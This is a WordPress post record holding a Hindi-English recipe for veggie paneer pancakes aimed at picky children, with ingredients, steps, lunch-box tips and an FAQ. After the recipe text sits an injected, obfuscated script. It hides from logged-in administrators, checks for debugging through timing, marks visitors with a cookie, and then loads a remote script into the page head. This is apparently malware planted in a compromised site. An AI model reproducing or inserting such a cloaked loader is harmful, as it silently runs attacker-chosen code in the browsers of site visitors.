{"id":408,"date":"2026-02-09T13:25:30","date_gmt":"2026-02-09T07:55:30","guid":{"rendered":"https:\/\/simplereceipes.in\/?p=408"},"modified":"2026-04-07T13:58:07","modified_gmt":"2026-04-07T08:28:07","slug":"7-best-veggie-paneer-pancake-recipe","status":"publish","type":"post","link":"https:\/\/simplereceipes.in\/en\/7-best-veggie-paneer-pancake-recipe\/","title":{"rendered":"Veggie Paneer Pancake Recipe"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">7 Best Veggie Paneer Pancake Recipe<\/h1>\n\n\n\n<h3 class=\"wp-block-heading\">\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0906\u0938\u093e\u0928, \u0939\u0947\u0932\u094d\u0926\u0940 \u0914\u0930 \u091f\u0947\u0938\u094d\u091f\u0940 \u0928\u093e\u0936\u094d\u0924\u093e<\/h3>\n\n\n\n<p>\u0906\u091c \u0915\u0947 \u0938\u092e\u092f \u092e\u0947\u0902 \u0939\u0930 parent \u0915\u0940 \u090f\u0915 \u0939\u0940 problem \u0939\u0948 \u2013<br><strong>\u201c\u092c\u091a\u094d\u091a\u0947 healthy \u0916\u093e\u0928\u093e \u0928\u0939\u0940\u0902 \u0916\u093e\u0924\u0947\u0964\u201d<\/strong><\/p>\n\n\n\n<p>\u0938\u092c\u094d\u091c\u093c\u0940 \u0926\u0947\u0916\u0924\u0947 \u0939\u0940 \u092e\u0941\u0901\u0939 \u092c\u0928\u093e\u0928\u093e,<br>\u0926\u093e\u0932 \u0938\u0947 \u092d\u093e\u0917\u0928\u093e,<br>\u0914\u0930 \u0930\u094b\u091c pizza, noodles \u092f\u093e junk food \u0915\u0940 demand \u2013Veggie Paneer Pancake Recipe<br>\u092f\u0947 scene almost \u0939\u0930 \u0918\u0930 \u092e\u0947\u0902 common \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u0910\u0938\u0947 \u092e\u0947\u0902 parents \u0915\u0947 \u092e\u0928 \u092e\u0947\u0902 \u0938\u0935\u093e\u0932 \u0906\u0924\u093e \u0939\u0948:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u201c\u0910\u0938\u0940 \u0915\u094c\u0928-\u0938\u0940 recipe \u092c\u0928\u093e\u090f\u0902 \u091c\u094b \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u094b tasty \u0932\u0917\u0947 \u0914\u0930 body \u0915\u0947 \u0932\u093f\u090f healthy \u092d\u0940 \u0939\u094b?\u201d<\/p>\n<\/blockquote>\n\n\n\n<p>\u0907\u0938\u0940 problem \u0915\u093e solution \u0939\u0948 \u2013Veggie Paneer Pancake Recipe<br><br>Veggie Paneer Pancake Recipe<\/p>\n\n\n\n<p>\u092f\u0939 recipe \u0926\u093f\u0916\u0928\u0947 \u092e\u0947\u0902 pancake \u091c\u0948\u0938\u0940, taste \u092e\u0947\u0902 cheesy \u0914\u0930 nutrition \u092e\u0947\u0902 full power \u0939\u0948\u0964<br>\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u094b \u0932\u0917\u0924\u093e \u0939\u0948 \u0935\u0947 pizza \u092f\u093e pancake \u0916\u093e \u0930\u0939\u0947 \u0939\u0948\u0902, \u0914\u0930 parents \u0916\u0941\u0936 \u0930\u0939\u0924\u0947 \u0939\u0948\u0902 \u0915\u093f \u092c\u091a\u094d\u091a\u093e healthy food \u0916\u093e \u0930\u0939\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u092f\u0939 recipe \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0915\u094d\u092f\u094b\u0902 perfect \u0939\u0948?<\/h2>\n\n\n\n<p>\u0907\u0938Veggie Paneer Pancake Recipe \u0915\u094b \u0916\u093e\u0938 \u0924\u094c\u0930 \u092a\u0930 <strong>kids nutrition<\/strong> \u0915\u094b \u0927\u094d\u092f\u093e\u0928 \u092e\u0947\u0902 \u0930\u0916\u0915\u0930 \u092c\u0928\u093e\u092f\u093e \u0917\u092f\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> 1. Easy to Eat<\/h3>\n\n\n\n<p>Soft texture \u0939\u094b\u0928\u0947 \u0915\u0940 \u0935\u091c\u0939 \u0938\u0947 \u091b\u094b\u091f\u0947 \u092c\u091a\u094d\u091a\u0947 \u092d\u0940 \u0906\u0938\u093e\u0928\u0940 \u0938\u0947 \u091a\u092c\u093e \u0938\u0915\u0924\u0947 \u0939\u0948\u0902 Veggie Paneer Pancake ko\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> 2. No Junk<\/h3>\n\n\n\n<p>\u0907\u0938\u092e\u0947\u0902:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>No maida<\/li>\n\n\n\n<li>No deep frying<\/li>\n\n\n\n<li>No artificial colors<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> 3. Hidden Vegetables<\/h3>\n\n\n\n<p>\u091c\u094b \u092c\u091a\u094d\u091a\u0947 \u0938\u092c\u094d\u091c\u093c\u0940 \u0928\u0939\u0940\u0902 \u0916\u093e\u0924\u0947, \u0909\u0928\u0915\u0947 \u0932\u093f\u090f \u092f\u0939 best trick \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> 4. Lunch Box Friendly<\/h3>\n\n\n\n<p>4\u20135 \u0918\u0902\u091f\u0947 \u0924\u0915 soft \u0930\u0939\u0924\u093e \u0939\u0948, \u0907\u0938\u0932\u093f\u090f school lunch box \u0915\u0947 \u0932\u093f\u090f ideal \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Veggie Paneer Pancake \u0915\u094d\u092f\u093e \u0939\u0948?<\/h2>\n\n\n\n<p>Veggie Paneer Pancake \u090f\u0915 <strong>healthy savory pancake<\/strong> \u0939\u0948,<br>\u091c\u094b wheat flour, paneer \u0914\u0930 vegetables \u0938\u0947 \u092c\u0928\u093e\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u092f\u0939:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>South Indian dosa \u0928\u0939\u0940\u0902 \u0939\u0948<\/li>\n\n\n\n<li>Normal sweet pancake \u092d\u0940 \u0928\u0939\u0940\u0902 \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<p>\u092c\u0932\u094d\u0915\u093f \u092f\u0939 \u090f\u0915 <strong>fusion recipe<\/strong> \u0939\u0948 \u091c\u094b Indian ingredients \u0938\u0947 \u092c\u0928\u0924\u0940 \u0939\u0948 \u0914\u0930 western pancake \u091c\u0948\u0938\u0940 look \u0926\u0947\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Ingredients (\u0938\u093e\u092e\u0917\u094d\u0930\u0940)<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Main Ingredients Veggie Paneer Pancake Recipe<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>1 \u0915\u092a \u0917\u0947\u0939\u0942\u0902 \u0915\u093e \u0906\u091f\u093e (Whole Wheat Flour)<\/li>\n\n\n\n<li>\u00bd \u0915\u092a fresh paneer (grated)<\/li>\n\n\n\n<li>\u00bc \u0915\u092a \u0917\u093e\u091c\u0930 (grated)<\/li>\n\n\n\n<li>\u00bc \u0915\u092a \u0936\u093f\u092e\u0932\u093e \u092e\u093f\u0930\u094d\u091a (finely chopped)<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Optional (Taste \u092c\u0922\u093c\u093e\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f):<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>2 tbsp sweet corn<\/li>\n\n\n\n<li>1 tbsp cheese (optional but kids love it)<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Basic Seasoning:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0928\u092e\u0915 \u0938\u094d\u0935\u093e\u0926\u093e\u0928\u0941\u0938\u093e\u0930<\/li>\n\n\n\n<li>\u00bd tsp \u0905\u091c\u0935\u093e\u0907\u0928<\/li>\n\n\n\n<li>1 tsp butter \/ olive oil<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Ingredients \u0915\u093e Health Benefit (Parents ke liye)<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"> Paneer:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>High protein<\/li>\n\n\n\n<li>Calcium rich<\/li>\n\n\n\n<li>Bones \u0914\u0930 muscles \u0915\u0947 \u0932\u093f\u090f \u091c\u0930\u0942\u0930\u0940<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> Vegetables:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Vitamins<\/li>\n\n\n\n<li>Fiber<\/li>\n\n\n\n<li>Immunity booster<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> Wheat Flour:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Long lasting energy<\/li>\n\n\n\n<li>No sugar spike<\/li>\n<\/ul>\n\n\n\n<p>\u092f\u0939 combination \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 growth years \u0915\u0947 \u0932\u093f\u090f perfect \u092e\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Step-by-Step Method (Veggie Paneer Pancake Recipe \u092c\u0928\u093e\u0928\u0947 \u0915\u0940 \u0906\u0938\u093e\u0928 \u0935\u093f\u0927\u093f)<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Step 1: Batter \u0924\u0948\u092f\u093e\u0930 \u0915\u0930\u0947\u0902 Veggie Paneer Pancake Recipe<\/h3>\n\n\n\n<p>\u090f\u0915 \u092c\u0921\u093c\u0947 bowl \u092e\u0947\u0902 \u0917\u0947\u0939\u0942\u0902 \u0915\u093e \u0906\u091f\u093e \u0921\u093e\u0932\u0947\u0902\u0964<br>\u0905\u092c \u0907\u0938\u092e\u0947\u0902 grated paneer \u0914\u0930 \u0938\u093e\u0930\u0940 \u0938\u092c\u094d\u091c\u093c\u093f\u092f\u093e\u0901 \u092e\u093f\u0932\u093e\u090f\u0901\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Step 2: Seasoning<\/h3>\n\n\n\n<p>\u0928\u092e\u0915 \u0914\u0930 \u0905\u091c\u0935\u093e\u0907\u0928 \u0921\u093e\u0932\u0947\u0902\u0964<br>\u0927\u0940\u0930\u0947-\u0927\u0940\u0930\u0947 \u092a\u093e\u0928\u0940 \u0921\u093e\u0932\u0924\u0947 \u0939\u0941\u090f <strong>smooth batter<\/strong> \u092c\u0928\u093e\u090f\u0902\u0964<\/p>\n\n\n\n<p> Batter \u091c\u094d\u092f\u093e\u0926\u093e \u092a\u0924\u0932\u093e \u0928\u0939\u0940\u0902 \u0939\u094b\u0928\u093e \u091a\u093e\u0939\u093f\u090f\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Step 3: Cooking<\/h3>\n\n\n\n<p>\u090f\u0915 non-stick pan \u0917\u0930\u092e \u0915\u0930\u0947\u0902\u0964<br>\u0925\u094b\u0921\u093c\u093e butter \u092f\u093e oil \u0932\u0917\u093e\u090f\u0901\u0964<\/p>\n\n\n\n<p>\u0905\u092c \u090f\u0915 \u092c\u0921\u093c\u093e \u091a\u092e\u094d\u092e\u091a batter \u0921\u093e\u0932\u0915\u0930 pancake \u0915\u0940 \u0924\u0930\u0939 \u092b\u0948\u0932\u093e\u090f\u0901\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Step 4: Flip<\/h3>\n\n\n\n<p>Medium flame \u092a\u0930 2\u20133 \u092e\u093f\u0928\u091f \u092a\u0915\u093e\u090f\u0901\u0964<br>Golden spots \u0906\u0928\u0947 \u092a\u0930 \u092a\u0932\u091f \u0926\u0947\u0902 \u0914\u0930 \u0926\u0942\u0938\u0930\u0940 side \u092a\u0915\u093e\u090f\u0901\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Step 5: Ready to Serve<\/h3>\n\n\n\n<p>\u0917\u0930\u092e-\u0917\u0930\u092e Veggie <br>Veggie Paneer Pancake Recipe<\/p>\n\n\n\n<p> \u0924\u0948\u092f\u093e\u0930 \u0939\u0948 <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Kids \u0915\u094b \u0915\u0948\u0938\u0947 Serve \u0915\u0930\u0947\u0902 Veggie Paneer Pancake Recipe ?<\/h2>\n\n\n\n<p>\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u094b presentation \u092c\u0939\u0941\u0924 matter \u0915\u0930\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Serving Ideas:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Tomato ketchup \u0915\u0947 \u0938\u093e\u0925<\/li>\n\n\n\n<li>Homemade curd dip<\/li>\n\n\n\n<li>Mild mint chutney<\/li>\n\n\n\n<li>Roll \u092c\u0928\u093e\u0915\u0930 foil \u092e\u0947\u0902 wrap \u0915\u0930\u0947\u0902<\/li>\n<\/ul>\n\n\n\n<p> Pancake \u0915\u094b stars \u092f\u093e hearts shape \u092e\u0947\u0902 \u0915\u093e\u091f \u0926\u0947\u0902 \u2013 kids extra happy \u0939\u094b \u091c\u093e\u0924\u0947 \u0939\u0948\u0902 <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Untitled-design-4-1024x768.jpg\" alt=\"Veggie Paneer Pancake Recipe\" class=\"wp-image-411\" srcset=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Untitled-design-4-1024x768.jpg 1024w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Untitled-design-4-300x225.jpg 300w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Untitled-design-4-768x576.jpg 768w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Untitled-design-4-16x12.jpg 16w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Untitled-design-4.jpg 1200w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><strong>\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0906\u0938\u093e\u0928 \u0939\u0947\u0932\u094d\u0926\u0940 \u0930\u0947\u0938\u093f\u092a\u0940 \u2013 Veggie Paneer Pancake recipe<\/strong><\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Lunch Box Tips (Very Important)<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Pancake \u0915\u094b completely cool \u0915\u0930\u0915\u0947 pack \u0915\u0930\u0947\u0902<\/li>\n\n\n\n<li>Butter paper \u092f\u093e foil \u092e\u0947\u0902 wrap \u0915\u0930\u0947\u0902<\/li>\n\n\n\n<li>\u0938\u093e\u0925 \u092e\u0947\u0902 dry chutney sachet \u0926\u0947\u0902<\/li>\n<\/ul>\n\n\n\n<p>\u0907\u0938\u0938\u0947 pancake soft \u0930\u0939\u0947\u0917\u093e \u0914\u0930 soggy \u0928\u0939\u0940\u0902 \u0939\u094b\u0917\u093e\u0964<a href=\"https:\/\/simplereceipes.in\/recipes\/\" data-type=\"page\" data-id=\"229\">Recipes<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Variation<\/h2>\n\n\n\n<p>\u0906\u092a \u0905\u092a\u0928\u0947 blog \u092e\u0947\u0902 \u092f\u0947 variations \u092d\u0940 add \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Cheese Veg Pancake<\/h3>\n\n\n\n<p>Paneer \u0915\u092e \u0915\u0930\u0915\u0947 cheese \u0925\u094b\u0921\u093c\u093e \u091c\u094d\u092f\u093e\u0926\u093e \u0921\u093e\u0932\u0947\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Beetroot Pancake<\/h3>\n\n\n\n<p>Grated beetroot \u0921\u093e\u0932\u0915\u0930 natural pink color \u092a\u093e\u090f\u0901\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Moong Dal Pancake<\/h3>\n\n\n\n<p>Extra protein \u0915\u0947 \u0932\u093f\u090f soaked moong dal batter use \u0915\u0930\u0947\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> Oats Pancake<\/h3>\n\n\n\n<p>Wheat flour \u0915\u0940 \u091c\u0917\u0939 oats flour use \u0915\u0930\u0947\u0902\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading has-medium-font-size\">Toddlers (2\u20133 Years) \u0915\u0947 \u0932\u093f\u090f Special Tips <a href=\"http:\/\/who.int (WHO)\">http:\/\/who.int (WHO)<\/a><\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u092e\u0938\u093e\u0932\u0947 \u092c\u093f\u0932\u094d\u0915\u0941\u0932 \u0928 \u0921\u093e\u0932\u0947\u0902<\/li>\n\n\n\n<li>Cheese optional \u0930\u0916\u0947\u0902<\/li>\n\n\n\n<li>Pancake \u0915\u094b \u091b\u094b\u091f\u0947 \u091f\u0941\u0915\u0921\u093c\u094b\u0902 \u092e\u0947\u0902 \u0915\u093e\u091f\u0947\u0902<\/li>\n\n\n\n<li>Butter \u0915\u0940 \u091c\u0917\u0939 ghee \u0915\u0940 thin layer use \u0915\u0930\u0947\u0902<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Nutrition Value in <\/h2>\n\n\n\n<p> (Approximate)<\/p>\n\n\n\n<p>Per pancake:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Calories: 120\u2013140 kcal<\/li>\n\n\n\n<li>Protein: High<\/li>\n\n\n\n<li>Fiber: Medium<\/li>\n\n\n\n<li>Fat: Healthy fats only<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">FAQ Section<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Q1: \u0915\u094d\u092f\u093e \u0907\u0938\u0947 \u0930\u094b\u091c \u092c\u0928\u093e\u092f\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948?<\/h3>\n\n\n\n<p>\u0939\u093e\u0901, ingredients simple \u0914\u0930 healthy \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Q2: \u0915\u094d\u092f\u093e paneer \u0915\u0940 \u091c\u0917\u0939 tofu use \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902?<\/h3>\n\n\n\n<p>Yes, tofu is a good alternative.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Q3: \u0915\u094d\u092f\u093e \u092f\u0939 picky eaters \u0915\u0947 \u0932\u093f\u090f suitable \u0939\u0948?<\/h3>\n\n\n\n<p>\u092c\u093f\u0932\u094d\u0915\u0941\u0932! Vegetables hidden \u0939\u094b\u0928\u0947 \u0915\u0940 \u0935\u091c\u0939 \u0938\u0947 \u092c\u091a\u094d\u091a\u0947 easily \u0916\u093e \u0932\u0947\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Parents \u0915\u0947 \u0932\u093f\u090f Honest Advice<\/h2>\n\n\n\n<p>\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u094b healthy \u0916\u093e\u0928\u093e \u0916\u093f\u0932\u093e\u0928\u0947 \u0915\u093e \u0938\u092c\u0938\u0947 \u0905\u091a\u094d\u091b\u093e \u0924\u0930\u0940\u0915\u093e \u0939\u0948:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><strong>Healthy food \u0915\u094b fun \u092c\u0928\u093e\u0928\u093e<\/strong><\/p>\n<\/blockquote>\n\n\n\n<p>Veggie Paneer Pancake \u0935\u0939\u0940 \u0915\u093e\u092e \u0915\u0930\u0924\u093e \u0939\u0948\u0964<br>\u092f\u0939 recipe \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u094b \u092a\u0938\u0902\u0926 \u092d\u0940 \u0906\u0924\u0940 \u0939\u0948 \u0914\u0930 parents \u0915\u094b satisfaction \u092d\u0940 \u0926\u0947\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>for Kids<\/strong> \u090f\u0915 perfect choice \u0939\u0948\u0964<\/h2>\n\n\n\n<h2 class=\"wp-block-heading\">\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0940 Eating Habits \u0914\u0930 Parents \u0915\u0940 \u0938\u092c\u0938\u0947 \u092c\u0921\u093c\u0940 Problem<\/h2>\n\n\n\n<p>\u0906\u091c \u0915\u0947 \u092c\u091a\u094d\u091a\u0947 \u0938\u093f\u0930\u094d\u092b \u092d\u0942\u0916\u0947 \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u0947, \u0935\u0947 <strong>choice-based eaters<\/strong> \u0939\u094b\u0924\u0947 \u0939\u0948\u0902\u0964<br>\u0905\u0917\u0930 \u0916\u093e\u0928\u093e:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Colorful \u0928\u0939\u0940\u0902 \u0939\u0948<\/li>\n\n\n\n<li>Shape interesting \u0928\u0939\u0940\u0902 \u0939\u0948<\/li>\n\n\n\n<li>Smell appealing \u0928\u0939\u0940\u0902 \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<p>\u0924\u094b \u092c\u091a\u094d\u091a\u093e \u0909\u0938\u0947 try \u0924\u0915 \u0928\u0939\u0940\u0902 \u0915\u0930\u0924\u093e\u0964<\/p>\n\n\n\n<p>Veggie Paneer Pancake \u0907\u0938 problem \u0915\u094b solve \u0915\u0930\u0924\u093e \u0939\u0948 \u0915\u094d\u092f\u094b\u0902\u0915\u093f:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Pancake kids already \u092a\u0938\u0902\u0926 \u0915\u0930\u0924\u0947 \u0939\u0948\u0902<\/li>\n\n\n\n<li>Cheese + paneer \u0909\u0928\u094d\u0939\u0947\u0902 familiar taste \u0926\u0947\u0924\u093e \u0939\u0948<\/li>\n\n\n\n<li>Vegetables hidden \u0930\u0939\u0924\u0940 \u0939\u0948\u0902<\/li>\n<\/ul>\n\n\n\n<p>\u092f\u0939 recipe psychology + nutrition \u0926\u094b\u0928\u094b\u0902 \u0915\u094b address \u0915\u0930\u0924\u0940 \u0939\u0948\u0964 <a href=\"http:\/\/who.int (WHO)\">http:\/\/who.int (WHO)<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"> Meal Planning \u092e\u0947\u0902 \u092f\u0939 Recipe \u0915\u0948\u0938\u0947 Fit \u0939\u094b\u0924\u0940 \u0939\u0948?<\/h2>\n\n\n\n<p>Parents \u0905\u0915\u094d\u0938\u0930 confuse \u0930\u0939\u0924\u0947 \u0939\u0948\u0902:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u201cBreakfast \u092e\u0947\u0902 \u0915\u094d\u092f\u093e \u0926\u0947\u0902?\u201d<br>\u201cEvening snack healthy \u0915\u0948\u0938\u0947 \u0930\u0916\u0947\u0902?\u201d<\/p>\n<\/blockquote>\n\n\n\n<h3 class=\"wp-block-heading\">Meal-wise Use:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Breakfast:<\/strong> 2 pancakes + milk<\/li>\n\n\n\n<li><strong>Lunch Box:<\/strong> Pancake roll + ketchup<\/li>\n\n\n\n<li><strong>Evening Snack:<\/strong> Pancake fingers + dip<\/li>\n<\/ul>\n\n\n\n<p>\u0907\u0938 \u0924\u0930\u0939 \u090f\u0915 \u0939\u0940 recipe <strong>3 meals cover<\/strong> \u0915\u0930 \u0926\u0947\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Busy Parents \u0915\u0947 \u0932\u093f\u090f Time-Saving Tips<\/h2>\n\n\n\n<p>\u0906\u091c\u0915\u0932 parents \u0915\u0947 \u092a\u093e\u0938 time \u0915\u092e \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u0932\u093f\u090f \u092f\u0939 section \u092c\u0939\u0941\u0924 relatable \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Smart Tips:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Batter \u0930\u093e\u0924 \u092e\u0947\u0902 \u092c\u0928\u093e\u0915\u0930 fridge \u092e\u0947\u0902 \u0930\u0916\u0947\u0902<\/li>\n\n\n\n<li>Morning \u092e\u0947\u0902 \u092c\u0938 pan \u092a\u0930 cook \u0915\u0930\u0947\u0902<\/li>\n\n\n\n<li>Vegetables \u092a\u0939\u0932\u0947 \u0938\u0947 chop \u0915\u0930\u0915\u0947 store \u0915\u0930\u0947\u0902<\/li>\n<\/ul>\n\n\n\n<p> 5\u20137 \u092e\u093f\u0928\u091f \u092e\u0947\u0902 fresh breakfast ready\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u094b \u0916\u093e\u0928\u093e \u0916\u093f\u0932\u093e\u0928\u0947 \u0915\u093e Creative \u0924\u0930\u0940\u0915\u093e<\/h2>\n\n\n\n<p>\u0916\u093e\u0928\u093e \u0938\u093f\u0930\u094d\u092b \u092a\u0947\u091f \u0928\u0939\u0940\u0902 \u092d\u0930\u0924\u093e, \u0935\u0939 experience \u092d\u0940 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Fun Ideas:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Pancake \u0915\u094b animal shapes \u092e\u0947\u0902 \u0915\u093e\u091f\u0947\u0902<\/li>\n\n\n\n<li>Smile face \u092c\u0928\u093e\u090f\u0902 (corn + capsicum \u0938\u0947)<\/li>\n\n\n\n<li>\u201cRainbow Pancake Plate\u201d \u092c\u0928\u093e\u090f\u0902<\/li>\n<\/ul>\n\n\n\n<p>\u091c\u092c \u092c\u091a\u094d\u091a\u093e \u0916\u0941\u0926 excited \u0939\u094b\u0924\u093e \u0939\u0948, \u0924\u094b force \u0915\u0930\u0928\u0947 \u0915\u0940 \u091c\u0930\u0942\u0930\u0924 \u0928\u0939\u0940\u0902 \u092a\u0921\u093c\u0924\u0940\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"> Nutrition Expert \u0915\u094d\u092f\u093e \u0915\u0939\u0924\u0947 \u0939\u0948\u0902?<\/h2>\n\n\n\n<p>Nutrition experts \u092e\u093e\u0928\u0924\u0947 \u0939\u0948\u0902 \u0915\u093f:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Growing kids \u0915\u094b <strong>protein + fiber<\/strong> daily \u091a\u093e\u0939\u093f\u090f<\/li>\n\n\n\n<li>Deep fried snacks avoid \u0915\u0930\u0928\u0947 \u091a\u093e\u0939\u093f\u090f<\/li>\n\n\n\n<li>Homemade food \u0938\u092c\u0938\u0947 safe option \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<p>Veggie Paneer Pancake \u0907\u0928 \u0924\u0940\u0928\u094b\u0902 points \u0915\u094b naturally fulfill \u0915\u0930\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"> School-going Kids vs Toddlers (Comparison Section)<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Toddlers (2\u20134 Years):<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Soft texture<\/li>\n\n\n\n<li>No spices<\/li>\n\n\n\n<li>Small bite-size pieces<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">School Kids (5\u201312 Years):<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Cheese topping add \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902<\/li>\n\n\n\n<li>Mild spices allowed<\/li>\n\n\n\n<li>Roll \u092f\u093e sandwich style serve \u0915\u0930\u0947\u0902<\/li>\n<\/ul>\n\n\n\n<p>\u090f\u0915 \u0939\u0940 recipe <strong>age-wise adaptable<\/strong> \u0939\u0948\u0964<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>7 Best Veggie Paneer Pancake Recipe \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 